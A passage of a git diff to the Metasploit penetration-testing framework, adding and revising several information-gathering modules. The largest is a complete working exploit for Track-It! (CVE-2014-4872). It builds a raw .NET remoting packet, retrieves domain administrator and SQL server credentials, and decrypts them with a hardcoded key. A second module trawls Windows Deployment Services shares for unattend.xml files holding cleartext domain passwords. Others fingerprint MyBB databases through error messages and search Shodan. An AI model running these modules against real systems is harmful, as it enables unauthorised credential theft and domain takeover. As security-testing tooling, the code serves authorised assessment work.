!= 200 + return Exploit::CheckCode::Unknown + end + + #Check PhP + php_version = res['X-Powered-By'] + if php_version + php_version = "#{php_version}" + else + php_version = "PHP version unknown" + end + + #Check Web-Server + web_server = res['Server'] + if web_server + web_server = "#{web_server}" + else + web_server = "unknown web server" + end + + #Check forum MyBB + if res.body.match("MYBB") + print_good("#{peer} - MyBB forum found running on #{web_server} / #{php_version}") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + rescue + return Exploit::CheckCode::Unknown + end + + end + + + def run + print_status("#{peer} - Checking MyBB...") + unless check == Exploit::CheckCode::Detected + print_error("#{peer} - MyBB not found") + return + end + + print_status("#{peer} - Checking database...") + uri = normalize_uri(target_uri.path, 'memberlist.php') + response = send_request_cgi( + { + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'letter' => -1 + } + }) + if response.nil? + print_error("#{peer} - Timeout...") + return + end + + #Resolve response + if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/) + print_good("#{peer} - Running PostgreSQL Database") + elsif response.body.match(/General error\: 1 no such function\: REGEXP/) + print_good("#{peer} - Running SQLite Database") + else + print_status("#{peer} - Running MySQL or unknown database") + end + end +end diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index 8adc4677cb..fe78628201 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -1,15 +1,17 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), - Opt::CHOST - ], - self.class - ) end - def run_host(host) - begin - udp_sock = Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - }) - add_socket(udp_sock) - vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" + def scan_host(ip) + scanner_send(@probe, ip, datastore['RPORT']) + end - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) - while (r = udp_sock.recvfrom(12, 1.0) and r[1]) - handle_reply(host, r) + def scanner_prescan(batch) + @probe = external_address_request + end + + def scanner_process(data, shost, sport) + (ver, op, result, epoch, external_address) = parse_external_address_response(data) + + peer = "#{shost}:#{sport}" + if (ver == 0 && op == 128 && result == 0) + print_good("#{peer} -- external address #{external_address}") + # report its external address as alive + if inside_workspace_boundary?(external_address) + report_host( + :host => external_address, + :state => Msf::HostState::Alive + ) end - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - rescue ::Exception => e - print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}") - end - end - - def handle_reply(host, pkt) - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0]) - - if (result == 0) - print_status("#{host} -- external address #{external_address}") + else + print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}") end # report the host we scanned as alive report_host( - :host => host, + :host => shost, :state => Msf::HostState::Alive ) - # also report its external address as alive - if inside_workspace_boundary?(external_address) - report_host( - :host => external_address, - :state => Msf::HostState::Alive - ) - end - # report NAT-PMP as being open report_service( - :host => host, - :port => pkt[2], + :host => shost, + :port => sport, :proto => 'udp', :name => 'natpmp', :state => Msf::ServiceState::Open diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb index 3a4783b446..5fbbff3ec7 100644 --- a/modules/auxiliary/gather/search_email_collector.rb +++ b/modules/auxiliary/gather/search_email_collector.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 38ce7a514d..f508510cbd 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' -require 'net/dns' +require 'net/https' +require 'uri' class Metasploit4 < Msf::Auxiliary @@ -16,170 +17,174 @@ class Metasploit4 < Msf::Auxiliary super(update_info(info, 'Name' => 'Shodan Search', 'Description' => %q{ - This module uses the SHODAN API to query the database and - returns the first 50 IPs. SHODAN accounts are free & output - can be sent to a file for use by another program. Results - can also populated into the services table in the database. - NOTE: SHODAN filters (port, hostname, os, geo, city) can be - used in queries, but the free API does not allow net, country, - before, and after filters. An unlimited API key can be - purchased from the Shodan site to use those queries. The 50 - result limit can also be raised to 10,000 for a small fee. - API: http://www.shodanhq.com/api_doc - FILTERS: http://www.shodanhq.com/help/filters + This module uses the Shodan API to search Shodan. Accounts are free + and an API key is required to used this module. Output from the module + is displayed to the screen and can be saved to a file or the MSF database. + NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in + queries, but there are limitations when used with a free API key. Please + see the Shodan site for more information. + Shodan website: https://www.shodan.io/ + API: https://developer.shodan.io/api }, 'Author' => [ - 'John Sawyer <johnhsawyer[at]gmail.com>', #sploitlab.com - 'sinn3r' #Metasploit-fu plus other features + 'John H Sawyer <john[at]sploitlab.com>', # InGuardians, Inc. + 'sinn3r' # Metasploit-fu plus other features ], 'License' => MSF_LICENSE - )) + ) + ) - # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'DOMAIN', - 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', - 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2','SSL') + deregister_options('RHOST', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM', + 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') register_options( [ - OptString.new('SHODAN_APIKEY', [true, "The SHODAN API key"]), - OptString.new('QUERY', [true, "Keywords you want to search for"]), - OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]), - OptBool.new('DATABASE', [false, "Add search results to the database", false]), - OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]), - OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']), - OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']), + OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key']), + OptString.new('QUERY', [true, 'Keywords you want to search for']), + OptString.new('OUTFILE', [false, 'A filename to store the list of IPs']), + OptBool.new('DATABASE', [false, 'Add search results to the database', false]), + OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]), + OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*']) + ], self.class) end # create our Shodan query function that performs the actual web request def shodan_query(query, apikey, page) # send our query to Shodan - uri = "/api/search?&q=" + Rex::Text.uri_encode(query) + "&key=" + apikey + "&page=" + page.to_s - res = send_request_raw( - { - 'method' => 'GET', - 'uri' => uri - }, 25) + uri = URI.parse('https://api.shodan.io/shodan/host/search?query=' + + Rex::Text.uri_encode(query) + '&key=' + apikey + '&page=' + page.to_s) + http = Net::HTTP.new(uri.host, uri.port) + http.use_ssl = true + request = Net::HTTP::Get.new(uri.request_uri) + res = http.request(request) - # Check if we got a response, parse the JSON, and return it - if (res) + if res and res.body =~ /<title>401 Unauthorized<\/title>/ + fail_with(Failure::BadConfig, '401 Unauthorized. Your SHODAN_APIKEY is invalid') + end + + # Check if we can resolve host, got a response, + # then parse the JSON, and return it + if res results = ActiveSupport::JSON.decode(res.body) return results else - return 'server_error' + return 'server_response_error' end end + # save output to file def save_output(data) - f = ::File.open(datastore['OUTFILE'], "wb") - f.write(data) - f.close - print_status("Save results in #{datastore['OUTFILE']}") + ::File.open(datastore['OUTFILE'], 'wb') do |f| + f.write(data) + print_status("Saved results in #{datastore['OUTFILE']}") + end end - def cleanup - datastore['RHOST'] = @old_rhost - datastore['RPORT'] = @old_rport + # Check to see if api.shodan.io resolves properly + def shodan_resolvable? + begin + Rex::Socket.resolv_to_dotted("api.shodan.io") + rescue RuntimeError, SocketError + return false + end + + true end def run + # check to ensure api.shodan.io is resolvable + unless shodan_resolvable? + print_error("Unable to resolve api.shodan.io") + return + end + # create our Shodan request parameters query = datastore['QUERY'] apikey = datastore['SHODAN_APIKEY'] - - @res = Net::DNS::Resolver.new() - dns_query = @res.query("#{datastore['VHOST']}", "A") - if dns_query.answer.length == 0 - print_error("Could not resolve #{datastore['VHOST']}") - return - else - # Make a copy of the original rhost - @old_rhost = datastore['RHOST'] - @old_rport = datastore['RPORT'] - datastore['RHOST'] = dns_query.answer[0].to_s.split(/[\s,]+/)[4] - datastore['RPORT'] = 80 - end - page = 1 + maxpage = datastore['MAXPAGE'] # results gets our results from shodan_query results = [] results[page] = shodan_query(query, apikey, page) - if results[page].empty? - print_error("No Results Found!") - return + if results[page]['total'].nil? || results[page]['total'] == 0 + print_error('No Results Found!') end # Determine page count based on total results - if results[page]['total']%50 == 0 - tpages = results[page]['total']/50 + if results[page]['total'] % 100 == 0 + tpages = results[page]['total'] / 100 else - tpages = results[page]['total']/50 + 1 + tpages = results[page]['total'] / 100 + 1 + maxpage = tpages if datastore['MAXPAGE'] > tpages end # start printing out our query statistics - print_status("Total: #{results[page]['total']} on #{tpages} pages. Showing: #{datastore['MAXPAGE']}") - print_status("Country Statistics:") - results[page]['countries'].each { |ctry| - print_status "\t#{ctry['name']} (#{ctry['code']}): #{ctry['count']}" - } + print_status("Total: #{results[page]['total']} on #{tpages} " + + "pages. Showing: #{maxpage} page(s)") - # If search results greater than 50, loop & get all results - print_status("Collecting data, please wait...") - if (results[page]['total'] > 50) + # If search results greater than 100, loop & get all results + print_status('Collecting data, please wait...') + if results[page]['total'] > 100 page += 1 - while page <= tpages - results[page] = shodan_query(query, apikey, page) - page +=1 + while page <= maxpage break if page > datastore['MAXPAGE'] + results[page] = shodan_query(query, apikey, page) + page += 1 end end # Save the results to this table tbl = Rex::Ui::Text::Table.new( - 'Header' => 'IP Results', + 'Header' => 'Search Results', 'Indent' => 1, - 'Columns' => ['IP', 'City', 'Country', 'Hostname'] + 'Columns' => ['IP:Port', 'City', 'Country', 'Hostname'] ) - # Organize results and put them into the table - page = 1 - my_filter = datastore['FILTER'] - for i in page..tpages - next if results[i].nil? or results[i]['matches'].nil? - results[i]['matches'].each { |host| - - city = host['city'] || 'N/A' - ip = host['ip'] || 'N/A' + # Organize results and put them into the table and database + p = 1 + regex = datastore['REGEX'] if datastore['REGEX'] + while p <= maxpage + break if p > maxpage + results[p]['matches'].each do |host| + city = host['location']['city'] || 'N/A' + ip = host['ip_str'] || 'N/A' port = host['port'] || '' - country = host['country_name'] || 'N/A' + country = host['location']['country_name'] || 'N/A' hostname = host['hostnames'][0] data = host['data'] - if ip =~ /#{my_filter}/ or - city =~ /#{my_filter}/i or - country =~ /#{my_filter}/i or - hostname =~ /#{my_filter}/i or - data =~ /#{my_filter}/i - # Unfortunately we cannot display the banner properly, - # because it messes with our output format - tbl << ["#{ip}:#{port}", city, country, hostname] + report_host(:host => ip, + :name => hostname, + :comments => 'Added from Shodan', + :info => host['info'] + ) if datastore['DATABASE'] + + report_service(:host => ip, + :port => port, + :info => 'Added from Shodan' + ) if datastore['DATABASE'] + + if ip =~ regex || + city =~ regex || + country =~ regex || + hostname =~ regex || + data =~ regex + # Unfortunately we cannot display the banner properly, + # because it messes with our output format + tbl << ["#{ip}:#{port}", city, country, hostname] end - } + end + p += 1 end - #Show data and maybe save it if needed - print_line("\n#{tbl.to_s}") - - report_note( - :type => 'shodan', - :data => tbl.to_csv - ) if datastore['DATABASE'] - - save_output(tbl.to_s) if not datastore['OUTFILE'].nil? + # Show data and maybe save it if needed + print_line + print_line("#{tbl}") + save_output(tbl) if datastore['OUTFILE'] end end diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb new file mode 100644 index 0000000000..293a20e628 --- /dev/null +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -0,0 +1,374 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure', + 'Description' => %q{ + This module exploits an unauthenticated configuration retrieval .NET remoting + service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain + Administrator and the SQL server user credentials. + This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, + 10.0.0.143 and 9.0.30.248. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-4872' ], + [ 'OSVDB', '112741' ], + [ 'US-CERT-VU', '121036' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] + ], + 'DisclosureDate' => 'Oct 7 2014' + )) + register_options( + [ + OptPort.new('RPORT', + [true, '.NET remoting service port', 9010]) + ], self.class) + end + + + def prepare_packet(bmc) + # + # ConfigurationService packet structure: + # + # packet_header_pre_packet_size + # packet_size (4 bytes) + # packet_header_pre_uri_size + # uri_size (2 bytes) + # packet_header_pre_uri + # uri + # packet_header_post_uri + # packet_body_start_pre_method_size + # method_size (1 byte) + # method + # packet_body_pre_type_size + # type_size (1 byte) + # packet_body_pre_type + # type + # @packet_terminator + # + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx + # + # P.S.: Lots of fun stuff can be obtained from the response. Highlights include: + # - DatabaseServerName + # - DatabaseName + # - SchemaOwnerDatabaseUser + # - EncryptedSystemDatabasePassword + # - DomainAdminUserName + # - DomainAdminEncryptedPassword + # + packet_header_pre_packet_size= [ + 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00 + ] + + packet_header_pre_uri_size = [ + 0x04, 0x00, 0x01, 0x01 + ] + + packet_header_pre_uri = [ + 0x00, 0x00 + ] + + # contains binary type (application/octet-stream) + packet_header_post_uri = [ + 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, + 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, + 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x00, 0x00 + ] + + packet_body_start_pre_method_size = [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 + ] + + packet_body_pre_type_size = [ 0x12 ] + + packet_body_pre_type = [ 0x01 ] + + @packet_terminator = [ 0x0b ] + + service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt")) + + uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service + + packet_size = + packet_header_pre_uri_size.length + + 2 + # uri_size + packet_header_pre_uri.length + + uri.length + + packet_header_post_uri.length + + packet_body_start_pre_method_size.length + + 1 + # method_size + method.length + + packet_body_pre_type_size.length + + 1 + # type_size + packet_body_pre_type.length + + type.length + + # start of packet and packet size (4 bytes) + buf = packet_header_pre_packet_size.pack('C*') + buf << Array(packet_size).pack('L*') + + # uri size (2 bytes) + buf << packet_header_pre_uri_size.pack('C*') + buf << Array(uri.length).pack('S*') + + # uri + buf << packet_header_pre_uri.pack('C*') + buf << uri.bytes.to_a.pack('C*') + buf << packet_header_post_uri.pack('C*') + + # method name + buf << packet_body_start_pre_method_size.pack('C*') + buf << Array(method.length).pack('C*') + buf << method.bytes.to_a.pack('C*') + + # type name + buf << packet_body_pre_type_size.pack('C*') + buf << Array(type.length).pack('C*') + buf << packet_body_pre_type.pack('C*') + buf << type.bytes.to_a.pack('C*') + + buf << @packet_terminator.pack('C*') + + return buf + end + + + def fill_loot_from_packet(packet_reply, loot) + loot.each_key { |str| + if loot[str] != nil + next + end + if (index = (packet_reply.index(str))) != nil + # after str, discard 5 bytes then get str_value + size = packet_reply[index + str.length + 5,1].unpack('C*')[0] + if size == 255 + # if we received 0xFF then there is no value for this str + # set it to empty but not nil so that we don't look for it again + loot[str] = "" + next + end + loot[str] = packet_reply[index + str.length + 6, size] + end + } + end + + + def run + packet = prepare_packet(true) + + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + sock.write(packet) + + # type of database (Oracle or SQL Server) + database_type = "DatabaseType" + # Database server name (host\sid for Oracle or host\login_name for SQL Server) + database_server_name = "DatabaseServerName" + database_name = "DatabaseName" + schema_owner = "SchemaOwnerDatabaseUser" + database_pw = "EncryptedSystemDatabasePassword" + domain_admin_name = "DomainAdminUserName" + domain_admin_pw = "DomainAdminEncryptedPassword" + + loot = { + database_type => nil, + database_server_name => nil, + database_name => nil, + schema_owner => nil, + database_pw => nil, + domain_admin_name => nil, + domain_admin_pw => nil + } + + # We only break when we have a timeout (up to 15 seconds wait) or have all we need + while true + ready = IO.select([sock], nil, nil, 15) + if ready + packet_reply = sock.readpartial(4096) + else + print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.") + break + end + if packet_reply =~ /Service not found/ + # This is most likely an older Numara version, re-do the packet and send again. + print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...") + sock.close + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + packet = prepare_packet(false) + sock.write(packet) + packet_reply = sock.readpartial(4096) + end + + fill_loot_from_packet(packet_reply, loot) + + if not loot.has_value?(nil) + break + end + end + sock.close + + # now set the values that were not found back to nil + loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) } + + if loot[database_type] + print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}") + end + + if loot[database_server_name] + print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}") + end + + if loot[database_name] + print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}") + end + + if loot[schema_owner] + print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}") + end + + if loot[database_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw])) + loot[database_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}") + end + + if loot[domain_admin_name] + print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}") + end + + if loot[domain_admin_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw])) + loot[domain_admin_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}") + end + + if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name] + # If it is Oracle we need to save the SID for creating the Credential Core, else we don't care + if loot[database_type] =~ /Oracle/i + sid = loot[database_server_name].split('\\')[1] + else + sid = nil + end + + credential_core = report_credential_core({ + password: loot[database_pw], + username: loot[schema_owner], + sid: sid + }) + + # Get just the hostname + db_address= loot[database_server_name].split('\\')[0] + + begin + database_login_data = { + address: ::Rex::Socket.getaddress(db_address, true), + service_name: loot[database_type], + protocol: 'tcp', + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # If it's Oracle, use the Oracle port, else use MSSQL + if loot[database_type] =~ /Oracle/i + database_login_data[:port] = 1521 + else + database_login_data[:port] = 1433 + end + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + print_error "Could not resolve Database Server Hostname." + end + + print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}") + end + + if loot[domain_admin_name] and loot[domain_admin_pw] + report_credential_core({ + password: loot[domain_admin_pw], + username: loot[domain_admin_name].split('\\')[1], + domain: loot[domain_admin_name].split('\\')[0] + }) + + print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}") + end + end + + + def report_credential_core(cred_opts={}) + # Set up the has for our Origin service + origin_service_data = { + address: rhost, + port: rport, + service_name: 'Domain', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + if cred_opts[:domain] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred_opts[:domain] + }) + elsif cred_opts[:sid] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER, + realm_value: cred_opts[:sid] + }) + end + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index 346b202807..1c28dfbf94 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary users_table = Rex::Ui::Text::Table.new( 'Header' => 'vBulletin Users', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['Username', 'Password Hash', 'Salt'] ) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb new file mode 100644 index 0000000000..1a45f7faa9 --- /dev/null +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -0,0 +1,232 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', + 'Description' => %q{ + This module will search remote file shares for unattended installation files that may contain + domain credentials. This is often used after discovering domain credentials with the + auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already + have domain credentials. This module will connect to the RemInst share and any Microsoft + Deployment Toolkit shares indicated by the share name comments. + }, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'], + ], + )) + + register_options( + [ + Opt::RPORT(445), + OptString.new('SMBDomain', [ false, "SMB Domain", '']), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + end + + # Determine the type of share based on an ID type value + def share_type(val) + stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY } + stypes[val] || 'UNKNOWN' + end + + + # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC + # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! + def srvsvc_netshareenum + shares = [] + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost} : #{e.message}") + return + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level + + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << [0xffffffff].pack("V") + stubdata << [ref_id + 8, 0].pack("VV") + + response = dcerpc.call(0x0f, stubdata) + + # Additional error handling and validation needs to occur before + # this code can be moved into a mixin + + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + if win_error != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}") + end + + # Level, CTR header, Reference ID of CTR + res.slice!(0,12) + share_count = res.slice!(0, 4).unpack("V")[0] + + # Reference ID of CTR1 + res.slice!(0,4) + share_max_count = res.slice!(0, 4).unpack("V")[0] + + if share_max_count != share_count + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count") + end + + # ReferenceID / Type / ReferenceID of Comment + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} + + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + + if offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero") + end + + if length != max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length") + end + + name = res.slice!(0, 2 * length) + res.slice!(0,2) if length % 2 == 1 # pad + + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") + + if comment_offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero") + end + + if comment_length != comment_max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length") + end + + comment = res.slice!(0, 2 * comment_length) + res.slice!(0,2) if comment_length % 2 == 1 # pad + + shares << [ name, share_type(types[t]), comment] + end + + shares + end + + def run_host(ip) + deploy_shares = [] + + begin + connect + smb_login + srvsvc_netshareenum.each do |share| + # Ghetto unicode to ascii conversation + share_name = share[0].unpack("v*").pack("C*").split("\x00").first + share_comm = share[2].unpack("v*").pack("C*").split("\x00").first + share_type = share[1] + + if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share") + vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") + deploy_shares << share_name + end + end + + deploy_shares.each do |deploy_share| + query_share(deploy_share) + end + + rescue ::Interrupt + raise $! + end + end + + def query_share(share) + share_path = "\\\\#{rhost}\\#{share}" + vprint_status("#{rhost}:#{rport} Enumerating #{share}...") + + begin + simple.connect(share_path) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}") + return + end + + results = simple.client.file_search("\\", /unattend.xml$/i, 10) + + results.each do |file_path| + file = simple.open(file_path, 'o').read() + next unless file + + loot_unattend(file) + + creds = parse_client_unattend(file) + creds.each do |cred| + next unless (cred && cred['username'] && cred['password']) + next unless cred['username'].to_s.length > 0 + next unless cred['password'].to_s.length > 0 + + report_creds(cred['domain'].to_s, cred['username'], cred['password']) + print_good("#{rhost}:#{rport} Credentials: " + + "Path=#{share_path}#{file_path} " + + "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " + + "Password=#{cred['password'].to_s}" + ) + end + end + + end + + def parse_client_unattend(data) + + begin + xml = REXML::Document.new(data) + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(data) + return if data.empty? + path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, 